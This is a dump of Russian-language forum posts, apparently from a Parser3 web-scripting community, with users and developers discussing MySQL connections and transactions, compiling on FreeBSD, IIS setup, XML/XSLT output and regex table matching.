Одно дело, если не работает что-то в Вашем коде - тут надо помочь. И совсем другое, когда иначе ;)"
"46181","Собрал с xml статиком на Fedora Core 2(3.1.4) и на FreeBSD 5.3(3.2 beta)\
Паф, могу отправить чтобы выложить на сайт.\
\
Под федору собрал с последними xml либами libxml2-2.6.22 и libxslt-1.1.15."
"46182","1. Потому что вверху страницы находятся новые треды, а не старые с новыми сообщениями.\
\
2. При выборке из базы сортировать не по дате корневого сообщения, а по дате последних добавленных сообщений и соответственно им выбирать треды."
"46183","Простой кусок кода, дающий ответ на ваш вопрос:\
\
[code]\
$temp[^#40method[]^#0A]\
^temp.save[/temp.html]\
[/code]"
"46184","[code]\
@debugShowString[text;shash]\
###################################################################################################\
$result[^text.replace[^table::create[nameless]{^taint[^#0A]	<br>}]^if(!def $shash){ (string)}]\
#end @debugShowString[]\
[/code]\
\
P.S.\
И все таки гораздо удобнее писать ^debug:print[...], нежели ^visualisation:object[...] :))\
\
P.P.S.\
Чего ждать от версии 2.0?.. ;)"
"46185","Я тоже с поиском не в ладах, но скажу тебе что я храню парсерный код в БД и все работает."
"46186","на главной странице сайта сказано:\
[quot]...Он немного сложнее HTML, но не требует особенного умения программировать...[/quot]\
после этого сюда приходят люди без особого умения и опыта  программировать и начинают задавать вопросы, которые для опятных людей кужутся глупыми и возникают от не желания читать."
"46192","...но если вы выложите его где-то у себя мы с удовольствием поставим ссылку на него в разделе \"скачать | прислали пользователи\"."
"46194","Не уменее программироватьеще не означает не уменее думать ;)"
"46195","PHPBB из-за отсутствия древовидной структуры очень неудобен, так как приходиться прочитыать груды мусора, не относящегося к теме.\
Данный форум в этом плане гораздо удобнее. \
Реализовать форум без древовидной структуры на Парсер достаточно просто (Пример про древовидные структуры+класс авторизации)\
Да и вседующий раз уважаемы DIvineArts не курите, прежде чем задавать вопрос, а то уж оченб устаешь читать"
"46197","Скорее первое чем второе"
"46198","Я очень извеняюсь за столь не корректный вопрос, но у меня проблема. Стоит у меня Denwer с поддержкой Parser3. Когда он включен сайт работает.(идет загрузка)\
Но мне нужно работать с сервером. И тут возникает проблема.=>\
 Я выключаю denwer, выхожу в инет.(Так как проверочный адрес соответствует адресу в инете)Но ни какой загрузки не происходит, не по FTP, не просто сайт.(!)Хотя сайт работает с другог компа.(!)Но с другого пользователя(Учетной записи)наблюдается такая же картина.\
Он просто не грузит. Вот выключено у меня всё и инет и денвер, я набираю адрес и ... вы подумаете что вылезет что то типа СТРАНИЦА НЕ НАЙДЕНА, ОШИБОЧНЫЙ... так даже это не вылазеет.\
Короче помогите пожалйста."
"46201","Никогда не возникало такой проблемы... и Денвер я никогда не выключал, чтобы посмотреть сайт с таки-же именем в нете."
"46203","Я склоняюсь к тому что url: сайта просто запрещен. Если я сделаю одну ошибку в названии то всё работает по \"правилам\""
"46204","очень просто\
http://www.site.net/\
http://site/\
\
Но о такой ошибке я никогда не слышал...\
Попробуй другой браузер, это вполне может быть проблемой браузера а не Денвера"
"46207","Не использую, только XML."
"46208","[quot]Он просто не грузит. Вот выключено у меня всё и инет и денвер, я набираю адрес и ... вы подумаете что вылезет что то типа СТРАНИЦА НЕ НАЙДЕНА, ОШИБОЧНЫЙ... так даже это не вылазеет.\
Короче помогите пожалйста.[/quot]\
\
короче 1: - если выключен инет, какой смысл набирать адрес?\
короче 2: попытаться грамотно и доступнодляобщегопониманиябезизбыточныхусилийсформулироватьвопрос, скорее всего само собой придет озарение :)"
"46209","Вы бросьте заниматься ерундой и писать в hosts всякую фигню. (%WINDIR%\\system32\\drivers\\etc\\hosts)\
Думаю понятно, что если в этом файле есть строчка \"mail.ru    127.0.0.1\" вы ни по какому протоколу не достучитесь до этого хоста, будь у вас включен или выключен дэнвер, Оракл, Автокад или еще какой-нибудь софт."
"46212","Нужно производить Парсером ~15 однотипных вычислений с интервалом в несколько минут. Можно произвести все вычисления сразу, но данные, на основе которых все вычисляется, могут быть изменены в промежутке между вычислениями.\
\
При изменении исходных данных, нужно надежно инициировать пересчет результатов. Самое простое: выполнять пересчет в тот же момент, когда пользователь изменил исходные данные.\
\
Данные в БД MySQL, необходимо поддерживать ссылочную целостность.\
\
Можно ли быть уверенным, что скрипт выполнит свою работу до конца или не выполнит ничего (в т. ч. изменения исходных данных), и не получится «[url=\"http://www.parser.ru/forum/?id=11479\"]убивания процесса посередине его работы[/url]»? Для этого надо обрабатывать exception «interrupted» и делать примитивный откат до прежнего состояния БД?\
\
* Запускать cron чаще 1 раза в час хостинг не позволяет."
"46213","Запись добавляется в базу данных, а затем создается файл вида\
<id>.txt, где id -- значение соответствующего поля данной записи.\
Проблема: получаю файлы 2.txt, 4.txt и т.д., т.е. только четные.\
\
Код:\
<html>\
^connect[$connect_string]{\
  $void[^table::sql{INSERT INTO teachers SET name='$form:name', subject='$form:subject'}]\
}\
\
^connect[$connect_string]{\
  $teacher_added[^table::sql{select * from teachers where name='$form:name'}]\
}\
\
^if(def $form:text){ \
    $path[teacher_added.id}.txt]\
    ^form:text.save[$path] \
\
Добавился текст\
} \
\
^if(def $form:foto){ \
    $path2[teacher_added.id.jpg]\
    ^form:foto.save[binary;$path2] \
Добавилось фото\
\
} \
\
\
<form method=\"post\" enctype=\"multipart/form-data\" action=\"add.htm\">\
ФИО <input name=\"name\">\
Предмет <input name=\"subject\" value=\"Преподаватель \">\
Фото <input type=\"file\" name=\"foto\">\
<input type=\"submit\"><br><br>Текст<br>\
<textarea name=\"text\" rows=20 cols=80></textarea>\
</form>"
"46214","???\
\
Но все же:\
\
1. Посмотрите внимательно, что за значения вы подставляете (в $path и $path2). Там грубо нарушили синтаксис, непонятно что вообще должно подставиться.\
\
Исправили — заработало?\
Вот еще что можете сделать, чтобы вам стало легче жить:\
\
2. Обходитесь одним общим connect'ом для всех запросов (а не по одному на каждый запрос, как у вас).\
3. Почитайте про [b]last_insert_id[/b] (для второго запроса) в документации MySQL. А также полюбуйтесь там на другой вариант синтаксиса INSERT (c [b]values[/b]).\
4. Забудьте про * в запросах, перечисляйте поля конкретно — сразу будет ясно, что из базы к вам приходит.\
\
+ Используйте команду форматирования [b][code][/b], чтобы всем было приятно читать ваш код."
"46215","[code]\
$void[^table::sql{INSERT INTO\
[/code]\
\
=>\
\
[code]\
^void:sql{INSERT INTO\
[/code]"
"46216","Куда в строку соединения с MySQL писать номер порта?"
"46217","Дайте кто нить плиз рабочий пример, я так понял что у меня не хочет конектиться =(\
\
...........................\
В работе Parser произошла ошибка:\
\
connection string must start with protocol://\
\
Ошибку вызвал этот фрагмент:\
connect\
Ошибка произошла при работе с файлом:\
\
d:/webserver/home/htdocs/sql.p, строка номер 76\
...........................\
\
Дайте кто нить плиз рабочий пример. Не могу найти где хотябы указать название базы данных"
"46218","mysql://user:password@host:[b]port[/b]/database"
"46220","надо было просто добавить переменную $SQL.connect-string[mysql://root@localhost/base] =)"
"46224","Кто-нибудь решал задачку по сохранению hash'а в файле? Так чтобы потом можно было этот файл ^includom[] считать с диска в программу и использовать? В общем: нужен ^hash.save[$filename] - никто не поделится?"
"46225","да, в multithreaded apache кэшировать куда проще.\
и вариант такой сборки, конечно, предусмотрен.\
\
там, да, можно сделать кэширование XML по описанной вами схеме.\
\
однако у наших клиентов такой потребности не было.\
\
и не все админы согласятся на multithreaded вариант — у админы, в массе своей, изрядные консерваторы.\
\
если добавите это в исходники(сделать параллельно XSL), получите желаемое. \
\
в совсем общем виде я там не подготовил, но начало есть: нужно сделать производный от Cache_manager класс и зарегистрировать его в Cache_managers."
"46226","любопытно, что же за данные такие.\
не секрет?"
"46227","@unhandled_exception это последний шанс вывести пользователю exception в хоть каком-то приличном виде.\
если в ходе работы этого метода возникнет ещё какой-то exception, а значит красиво вывести проблему код не может = parser выводит проблему хоть как-нибудь.\
\
совершенно не задумывалось, чтобы внутри последнего шанса вывода ошибки кто-то писал что-то сложнее простого вывода таблички и/или отправки письма заснувшему админу, если ошибка повторяется слишком часто.\
\
\
раз у вас есть Apache, и есть необходимость сделать класивые url-ы, можно воспользоваться mod_rewrite.\
\
выбранный же вами путь через 404, и через @unhandled_exception: муторный."
"46228","обсудим"
"46229","и означает, что нужно пересобрать и сам parser."
"46230","В часстности на Мишин класс по sql запросам, там хеши сохраняются."
"46234","пожалуйста, напишите, как надо было. чтобы люди нашли это поиском."
"46236","предложение: оставить в покое внешний вид форума и начать писать сюда по делу."
"46237","[code]\
$code[@method[]\
ok\
]\
^code.save[…]\
[/code]\
\
\
безо всяких там ^#.."
"46241","вам нужно, чтобы ваша база данных поддерживала транзакции.\
\
в mysql они в mysam таблицах не поддерживаются.\
вам нужно создавать таблицы в формате, например, innodb.\
\
для чего\
1. попросите вашего админа включить поддержку innodb.\
2. создавая таблицы, указывайте тип: create table...type=innodb (пишу по памяти).\
\
parser работает с базой(поддерживающей транзакции) в режиме autocommit off и гарантирует, что commit произойдёт только если управление дойдёт ^connect[]{до>}<сюда."
"46242","скажем, в хэше лежит экземпляр объекта пользовательского типа.\
\
тут нужно вводить у всех классов, включая системные, serializer/deserializer.\
\
я задумывал, что backend у Parser будет = база данных — этот вопрос не прорабатывал."
"46243","а будет ли выполнен rollback если out of memory?"
"46246","К сожалению, не поддерживается моим люби[i]м[/i]ым хостером. Обидно."
"46248","Но в общем идея понятна. У меня специфическая задача с ограниченным набором типов данных и под нее надо будет совсем иначе делать - фактически из форм выводить поля в файл, сохранять обязательно с append file и т.д. Что-то универсальное, вроде visualization, на этот раз делать не буду :)"
"46249","а без commit транзакция не будет зафиксирована.\
\
пока commit не произошло, можно думать, что база вообще не модицифируется. можно думать, что действия пишутся в журнал \"надо бы сделать\", который обрабатывается при commit и выбрасывается при rollback или через некое время."
"46250","может вдруг он поддерживается?"
"46252","Скрипт просто добавляет в таблицу одну новую запись, предварительно получив last_insert_id этой таблицы. Произошел parser.interrupted. Убиваем то, что после last_insert_id. Этот пример должен спасти сам себя:\
[code]^try{\
	^connect[]{\
		$last_insert_id(^int:sql{SELECT...})\
		^void:sql{INSERT ...}\
	}\
}{\
	^if($exception.type eq \"parser.interrupted\"){\
		^connect[]{\
			^void:sql{DELETE ... > $last_insert_id}\
		}\
	}\
}[/code]?"
"46253","случится что-нибудь злое, вроде падения по другому поводу.\
или вообще out of memory.."
"46259","[quot]???[/quot]\
\
нравица так человеку\
\
[quot]Обходитесь одним общим connect'ом для всех запросов[/quot]\
\
Почему? Я вот как раз наоборот в последнее время делаю.\
\
[quot]А также полюбуйтесь там на другой вариант синтаксиса INSERT (c values).[/quot]\
\
Для чего? Что там такого красивого?\
\
[quot]Забудьте про * в запросах, перечисляйте поля конкретно[/quot]\
\
а то ничего не будет работать? А есть поля два, как в данном случае, что-нибудь изменится?"
"46264","[quot]\
Почему? Я вот как раз наоборот в последнее время делаю.\
[/quot]\
\
Напрасно. Время дороже.\
\
[quot]\
а то ничего не будет работать? А есть поля два, как в данном случае, что-нибудь изменится?\
[/quot]\
\
Через два месяца откроете код и чтобы понять его — придется открывать базу и смотреть что там в базе было и как. Неудобно."
"46266","[quot]Напрасно. Время дороже.[/quot]\
\
Да вы что? Мыслите шире. Или вы время экономите только на количестве нажатых кнопок?\
\
А если абстрагироваться от Sql-Xml и т.д. и придти к понятию DataReader, то и время экономится и получается примерно так, как я говорю. Хотя, вероятно, есть не только один метод решения проблемы.\
\
[quot]Через два месяца откроете код и чтобы понять его — придется открывать базу и смотреть что там в базе было и как. Неудобно.[/quot]\
\
случаи разные бывают. В данном конкретном случае совершенно параллельно * или перечисление полей. В целом тут спорить не о чем :)"
"46268","1. Мыслю достаточно широко, поэтому стараюсь экономить везде. При чем здесь кнопки и их нажатия я не понял.\
\
2. Дело в привычке. Как привыкаешь писать, так и пишешь потом всегда."
"46271","[quot]Мыслю достаточно широко[/quot]\
\
наверное маскируетесь :)\
\
[quot]Как привыкаешь писать, так и пишешь потом всегда[/quot]\
\
А как же открытость всему новому? :)\
\
В общем предлагаю закрыть тему -- конструктив прошел мимо"
"46279","Всё настраивается под администратором виндовс"
"46280","Есть задание:\
делаем стандартный квадратный календарь и база данных с новостями. Нужно сделать так, чтобы если за конкретную дату проверять, есть ли новости в базе и выводить число ссылкой или нет, в зависимости от наличия новостей. Вопрос в следующем:\
Что будет быстрее работать\
а) если для каждого конкретного числа делать выборку из БД\
б) если делать выборку информации (даты) из БД в объект \"таблица\" и с помощью table.locate[xxx;yyy] проверять наличие даты в полученной таблице?"
"46281","то же самое, что и Б, только выборку делать в хэш"
"46282","Парсер и mysql-драйвер были взяты cvs-ом в пятницу 28 октября, после чего собирались друг за другом. Вносились ли изменения в cvs после этого?"
"46287","Есть дико удобный механизм хранимых процедур.\
Данные всегда будут целы."
"46288","Не, под рукой подходящей машины не нашлось."
"46289","Следующий код\
[code]\
@main[]\
$constr[a=6\
b=6\
n=6\
u=6\
a=6\
a=6\
a=6]\
$ma[^constr.match[^^(\\w+)=(.+)\\n?]]\
^ma.save[ma.cfg]\
[/code]\
как я понял должен сохранить таблицу совпадений, где в столбцах $ma.1 будет буква, а в $ma.2 цыфра после знака равно.\
\
Я же наблюдаю в файле странную картину, только первая строка правильно отформатирована....\
[code]\
prematch	match	postmatch	1	2	3	4	5	6	....	93	94	95	96	97	98	99	100\
			a	6\
b=6\
n=6\
u=6\
a=6\
a=6\
a=6\
[/code]\
\
вместо .... в файле столбцы от 7 до 92\
\
Где ошибаюсь? или может баг такой?\
\
Win XP, Parser 3.1.3 CGI"
"46291","[code]\
$constr[a=6\
b=6\
n=6\
u=6\
a=6\
a=6\
a=6][/code]\
здесь сформирована безымянноя таблица (каждое последуещее значение с новой строки).\
А здесь вы работаете со строкой\
[code]$ma[^constr.match[^^(\\w+)=(.+)\\n?]][/code]"
"46293","[code]\
@main[]\
$constr[a=6\
b=6\
n=6\
u=6\
a=6\
a=6\
a=6]\
$ma[^constr.match[^^(\\w+)=(.+)\\n?][g]]\
^ma.save[ma.cfg]\
[/code]\
с опцией g тоже самое....\
\
я наверное наивно полагаю что должно быть так:\
[code]\
prematch	match	postmatch	1	2	3	...	98	99	100\
			b	6\
			n	6\
			u	6\
			a	6\
			a	6\
			a	6\
			a	6\
[/code]\
\
Почему не так?"
"46294","остальное содержимое CVS: на ваш страх и риск.\
\
[на вопрос ответ: нет]"
"46295","внимательней с документацией, [b]match[/b] создаёт таблицу в которой всего одна строка, выдимо вам нужен какойто другой оператор, если вы хотите получить таблицу с множеством строк.\
\
А что, нельзя её сразу сформировать, без знака \"=\""
"46296","из доки:\
[quot]\
Если указана опция поиска g, будет создана таблица найденного по шаблону (по одной строке на каждое вхождение). \
При этом не важно, есть в шаблоне круглые скобки или нет. \
[/quot]\
\
чет я не понимаю что понимается под одной строкой на каждое вхождение......"
"46297","http://www.rusonyx.ru/ - рекомендую. За год работы с ними даже нервничать стал меньше :) Техсепорт реальный, в т.ч и по ночам работают профессионалы, а не стажеры."
"46298","Спасибо, буду разбираться с mod_rewrite более глубоко"
"46299","Вопрос ИМХО сродни спору что лучше форум или чат. Мягкое или теплое. У обоих подходов есть свои плюсы и минусы. Идеала не существует. Здесь н мой взгляд более уместна древовидная структура. В другом месте плоская.."
"46301","Вот так попробуйте:\
$ma[^constr.match[(\\w+)=(.+?)\\n][g]]"
"46305","\"...здесь сформирована безымянноя таблица (каждое последуещее значение с новой строки)...\"\
\
Таблица, это не то, что на нескольких строках, а то, что создано оператором ^table::create{} В данном случае\
[code]\
$constr[a=6\
b=6\
n=6\
u=6\
a=6\
a=6\
a=6]\
[/code]\
\
- обычная строка."
"46306","...но не работает MySQL-драйвер, ошибка <no type>.\
\
При компиляции Parser 3.1.4 все вываливается:\
\
[quot]\
In file included from ../../src/include/pa_request.h:17,\
                 from compile_tools.h:16,\
                 from compile.y:32:\
../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to `count' that depend on a template parameter, so a declaration of `count' must be available\
../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this function)\
../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported only once for each function it appears in.)\
../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this function)\
*** Error code 1\
\
Stop in /.1/srcs/DIST/parser3/src/main.\
*** Error code 1\
\
Stop in /.1/srcs/DIST/parser3/src.\
*** Error code 1\
\
Stop in /.1/srcs/DIST/parser3.\
[/quot]\
\
Существует ли какое-то решение этой проблемы: \
заставить работать [i]FreeBSD 5.4[/i] + [i]Parser 3.1.4[/i] + [i]MySQL 4.1.14[/i]?\
Стоит ли попробовать использовать другие СУБД, например, PostgreSQL?"
"46307","Сайты делаю так: почти все данные в базе, использую mod_rewrite и один самый главный my_super_puper_content_page.htm, который по $request:uri готовит страничку по шаблону и выдает ее.\
\
Усложняем: перед выдачей странички скрипт смотрит в табличку с кэшированными страничками (которые там появляются с помощью postprocess-а), если время кэширования меньше заданного то считывает данные из нее, если нет то генирит (заполняя табличку) снова.\
\
Возникла идея: .htaccess настроен так что если файла физически нет, то идет в content.htm, может сохранять странички htm с некоторой периодичностью что-бы реврайт просто выдавал их не обрабатывая и без запросов в базу?\
\
Может кто-либо по другому решал эти задачи?"
"46308","(уже писал про эту глупую ошибку)"
"46309","нет offtopic'а, нормальная тема.\
\
да: можно.\
важно только уметь их стирать."
"46311","Всем привет!\
На дням столкнулся с проблемой заталкивания html тегов в xml.\
\
Имею xml:\
[b]\
<Work>Специализированное предприятие по проектированию и производству съёмных грузозахватных приспособлений для  подъёмно-транспортных, погрузочно-разгрузочных и складских работ, имеющее в своём составе завод, выпускающий специальные захваты и комплектующие, применяемые при изготовлении строп.\
<html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'> </html:br>\
&lt;html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'&gt; &lt;/html:br&gt;Мы готовы предоставить Вам следующие услуги:\
&lt;html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'&gt; &lt;/html:br&gt;\
</Work>\
[/b]\
Привычный нам тег переноса строки зашит представлен в виде [b]&lt;html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'&gt; &lt;/html:br&gt;[/b]\
\
Имею xslt:\
[b]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\">\
	<xsl:template match=\"/\">\
		<html>\
			<head>\
				<META HTTP-EQUIV=\"ontent-Type\" content=\"text/html; charset=Windows-1251\" />\
				<title>\
					Информация о фирме <xsl:value-of select=\"/Wid/Firms/Name\"/>\
				</title>\
			</head>\
					<xsl:if test=\"/Wid/Firms/Work != ''\">\
					<tr><td width=\"30%\" valign=\"top\" class=\"content\">описание: </td> 	\
						<td width=\"70%\" class=\"content2_1\"> &#xA0;<xsl: value-of select=\"/Wid/Firms/Work\"  /> </td></tr>\
				</xsl:if>\
\
				</table>\
\
			<br/>\
			</body>\
		</html>\
	</xsl:template>\
</xsl:stylesheet>\
\
[/b]\
 Получаю plain text, как быть?"
"46312","как быть?"
"46313","Пересобрали, как сказано, Parser_3_1_4, установили.\
Та же ошибка при попытке использования mysql-драйвера\
[quot]\
/www/_parser3/lib/libparser3mysql.so' can't open the module [<no type>]\
[/quot]"
"46314","попробуйте с консоли запустить такое и посмотреть, что же собственно, происходит.\
[code]\
$ cd /your/document/root\
$ /path/to/parser _test.html\
[/code]\
увидьте ошибку, потом\
[code]\
$ ktrace /path/to/parser _test.html\
$ kdump |more\
[/code]\
и посмотрите в районе загрузки libparser3mysql, что там происходило и что не сложилось.\
\
(ещё воспользуйтесь поиском, кто-то уже боролся с подобным странным)"
"46315","Повтор вопроса:\
\
Не получается поставить парсер на IIS. При попытке открытия html файла зачем-то запрашивается логин и пароль.\
Права на веб-узле выставлены, что разрешается запускать скрипты.\
Установить апач нет возможности. У кого-нибудь были такие проблемы?\
Что можно сделать?\
ЗЫ: Все остальные файлы (htm) открываются нормально. Проблема только с теми, которые указаны для обработки парсером.\
Парсер 3.1.4\
обработчиком ставится parser3isapi.dll\
\
Спрашивали: \"От кого запущен ИИС и кому принадлежит парсер?\".\
\
Ответ: \"ИИС - System, Parser - Администратор\"\
\
Что делать дальше чтобы все заработало?"
"46316","пользователю IUSR_<имя вашей машины> доступ к парсеру.\
\
 о результатах сообщите"
"46317","Все разобрался с этим вопросом... топик закрыт, там нормально все написано, не могу понять Вашего недоаольства."
"46318","Кстати, для хранения html в xml рекомендую использовать ноду типа CDATA: конструкция [code]<html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'> </html:br>[/code] не является html-ем. Кстати, и задача ваша облегчится.\
\
Кстати, запись \">&lt;html:br xmlns:html='http://www.w3c.org/TR/REC-html40/'&gt;\" не является нормальной :)"
"46319","LOCK TABLE data write;\
CREATE TEMPORARY TABLE temp_data TYPE=HEAP SELECT * from data\
\
ОБСЧЕТ ДАННЫХ в таблице temp_data\
\
UPDATE data, temp_data SET data.поле1 =  temp_data.поле1 ... WHERE data.ключ = temp_data.ключ;\
UNLOCK TABLES;\
\
\
Обновления таблицы data должны вестись в режиме DELAYED"
"46320","Всем здравствуйте. Решил познакомиться с Parser'ом и остановился на следующей задаче. Всем извстено из \"уроков\" следующее\
\
в auto.p объявляем\
[code]\
@main[]\
^header[]\
^body[]\
\
@header[]\
<html>\
<head>\
<title>^title[]</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
\
@body[]\
<p>^body_text[]</p>\
[/code]\
\
а в самом .html файле мы определяем функции [b]@title[][/b] и [b]@body_text[][/b]\
[code]\
@title[]\
Новости\
\
@body_text[]\
# тут мы делаем выборку из базы, допустим какой-либо конкретной новости\
# и в переменную $news.header у нас попадает загаловок новости\
[/code]\
\
Задача заключается в том, что бы загаловок новости [code]$news.header[/code] поднять в тег [code]<TITLE>...</TITLE>[/code]\
\
Ну а дальше мои дилетанские размышления. Я так думаю, что глупо делать запрос к базе в функции @title[], что бы поднять заголовок в теги <TITLE>. Передать значение переменной из функции @body_text[] в @title[] мне не удалось. Я игрался с этими переменными на всех (я так думаю) уровнях глобальности и локальности (объявлял глобально, изменял локально). \
\
Вопрос, что я делаю не так? И как это рализовать правильно?"
"46323","В БД храниться текст в формате html. При выводе использую ^untaint[as-is]{поле_из_БД}. Все нормально работает, но еще нужно что бы если в тексте этого поля есть переменная парсера, ну скажем $x, что бы она выводилась, а выводится только текст $x"
"46324","[code]\
@title[]\
$result[^string:sql{ SELECT title FROM таблица WHERE условие }[$.default{дефолтный заголовок}]]\
[/code]\
\
в коде:\
[code]<title>^title[]</title>[/code]"
"46325","Найдено описание этой проблемы:\
\
http://www.parser.ru/forum/?id=32984\
\
Возможно, в документацию к парсеру/INSTALL стоит включить упоминание о том, что при компиляции на FreeBSD 5.X для использования mysql-драйвера, сборку производить с ключом --with-dynamic-stdcpp и перед сборкой подменить pa_stack.h на HEAD? :)\
\
Еще раз спасибо за долготерпение, PAF."
"46327","[quot]\
...объявлял глобально...\
[/quot]\
\
Это как?..\
\
Можно в @auto[] считывать все параметры страницы в переменную, например так:\
\
[code]\
$page[\
    $.title[^untaint{^MAIN:pSQL.string{...}}]\
    ...\
]\
[/code]\
\
А в @main[] подставлять нужные переменные, для заголовка страницы например так так:\
\
[code]\
@main[]\
...\
<title>^title[]</title>\
...\
# end @main[]\
\
@title[]\
$result[$page.title | сайт]\
# end @title[]\
[/code]\
\
А можно даже не выносить генерирование заголовка в отдельный метод, т.к. он всего лишь подставляет переменную."
"46328","Ни ldd, ни nm по-прежнему ничего не показывают. Чудеса :)"
"46329","То есть получается, что отдельный запрос делается. А как меняться значениями переменных между функциями?"
"46330","глобально - это в auto.p объявлял переменную, а в внутри фунции пытался ей присвоить значение... как то так..."
"46332","Кто-нибудь пользуется этим веб-сервисом?\
\
А то у меня при его использовании возникают странные проблемы. \
Проверялось в IIS/Apache + 3.1.4 XML.\
\
При попытке оттипографировать большой кусок (15-20 Кб) размеченного текста падает парсер со следующим сообщением\
\"Unhandled exception 0xE06D7363 at 0x7C81EB33\". При уменьшении размера текста все проходит корректно. Но при этом, если я разбиваю текст по абзацам (по тэгам p) и в цикле обращаюсь к сервису - тоже падает.\
\
В чем может быть дело?"
"46334","Можно и [code]<TITLE>[/code]  и текст новости и всё что нужно доставать из БД в одном запросе, только делать это в самом начале странички."
"46335","Наличие бага не отменяет работы головы в верном направлении."
"46336","это с типографом никак не связано.\
\
пожалуйста, уменьшите свой код до простого \"загружаем такой-то .xml с диска, пытаемся что-то делать, умираем\"\
\
и пришлите? (bug.xml + bug.html)"
"46337","постараюсь сегодня локализовать и выслать"
"46338","Как ни странно, ошибку локализовать не получается. Хотя в рамках большого куска кода и действующего сайта она вполне воспроизводима.\
Кстати, используется сторонний драйвер для Interbase и обращение к типографу (формирование SOAP-запроса и получение ответа) происходят внутри созданного соединения. \
\
Может ли это быть причиной подобной ошибки?"
"46339","[quot]\
^узел.selectSingle[XPath-запрос] \
\
Выдает узел, найденный в контексте узла по заданному XPath-запросу. Если запрос не нашел подходящего узла, выдается void. Если запрос выдал больше, чем один узел, выдается ошибка xml-типа. \
[/quot]\
\
по смыслу было бы правильней не выдавать ошибку в случае если найдено более одного узла, так вобщем-то и работает в других либах C# / Java\
\
в этом случае надо выдавать первый найденый узел"
"46341","У меня такой вопрос возник: Как можно удалить одну строку по названию какой-нибудь ячейки.\
Пирмер:\
таблица\
[b]name   position\
Parkhomenko Petr   Pupil\
Parkhomenko Petr   Student[/b]\
\
И мне нужно удалить строчку [b]Parkhomenko Petr   Student[/b]"
"46342","Вот что нужно добавить:\
[b]$mtable[^mtable.select($mtable.name ne $form:name)][/b]\
[code]$mtable[^table::load[class.marks]]\
$mtable[^mtable.select($mtable.name ne $form:name)][/code]"
"46343","жаль, что в чистом виде не получается.\
адрес, увы, космический — тупо глянуть по .map не вышло."
"46344","1. делается лишняя работа\
2. если известно, что может получиться много узлов, можно сразу делать select [который multiple].\
3. имеет место потенциальный глюк: автор кода был уверен, что в его документе всего один узел, описываемый запросом, а выдалось больше: совсем [b]не исключено[/b], что автор ошибается, и ему выдают не тот узел, что он задумывал, а какой-то левый.\
4. тут сделано параллельно ^int:sql ^double:sql ^string:sql << там тоже, если вылезет больше 1ой строки вылезает ругательство."
"46345","этот вопрос к разработчикам. Уж очень бы хотелось работать с этими графичискими типами."
"46346","[quot]\
Selects the first XmlNode that matches the XPath expression.\
[/quot]\
\
Если программист пишет дай мне одну ноду, значит он знает что делает и не важно 10 их там или 1."
"46347","все, тема закрыта. Тупить будете в другом месте, уж простите"
"46348","человек А написал код из таких соображений.\
человек Б пришёл и во входной XML [b]до[/b] искомого узла добавил какие-то свои узлы для каких-то своих целей.\
\
так получилось, что Б:узлы подпадают под А:XPath.\
\
понятно, что оба дураки, что не согласовали между собой.\
однако Parser предотвращает эту скрытую ошибку.\
\
\
ровно по этой же причине в oracle нельзя делать\
[code]\
select a, count(*) from t group by b\
#можно только\
select a, count(*) from t group by b,a\
#или\
select min(a), count(*) from t group by b\
[/code]\
\
msaccess для этого даже спец функция есть (и тоже просто так нельзя):\
[code]\
select first(a), count(*) from t group by b\
[/code]\
\
моё мнение: лучше перебдеть, чем недобдеть и потом полдня искать этот бред."
"46349","[code]Если программист пишет ..., значит он знает что делает[/code]\
\
Вот это вы, мужчина, загнули :-)\
\
По существу имею сказать следующее: если ты это был единственный инструмент, было бы о чем спорить. А поскольку есть еще просто ^xnode.select[], можно расслабиться и использовать только его.\
\
PS. Смалек, по моему ты говоришь дело, но воевать не стану -- не принципиально :-)"
"46350","с другой стороны, mysql не заморачивается на такие вещи и ничего, процветает :-)\
\
А в описанной тобой ситуации дураком является только А -- написал не гибкий код :)\
\
Мое мнение: не принципиально :}"
"46351","конечно, в mysql многое сделано именно так:\
скажем, при переполнении целочисленного поля никакой ошибки не выдаётся, и в базу пишется бред.\
\
да, так быстро.\
но, да, так ошибку (свою/чужую, не важно) найти очень трудно.\
\
поэтому, конечно, где-то должна пролегать граница разумного.\
я провёл её тут и объяснил, почему."
"46352","Тогде в чём же смылс ident?\
\
c $.indent[no]\
\
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
строка1<br/> \
строка2<br/> \
<para>\
	hello\
</para>\
</document>}] \
$tmp[^document.string[ \
    $.method[xml]\
	$.indent[no]\
]]\
^tmp.save[ident.xml]\
[/code]\
\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<document>\
строка1<br/>\
строка2<br/>\
<para>\
    hello\
</para>\
</document>\
[/code]\
\
c $.indent[yes] получаю тоже самое\
\
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
строка1<br/> \
строка2<br/> \
<para>\
	hello\
</para>\
</document>}] \
$tmp[^document.string[ \
    $.method[xml]\
    $.indent[yes]\
]]\
^tmp.save[ident.xml]\
[/code]\
\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<document> \
строка1<br/> \
строка2<br/> \
<para>\
    hello\
</para>\
</document>\
[/code]"
"46354","это отступ от начала строки до узла (тега), а не внутри него."
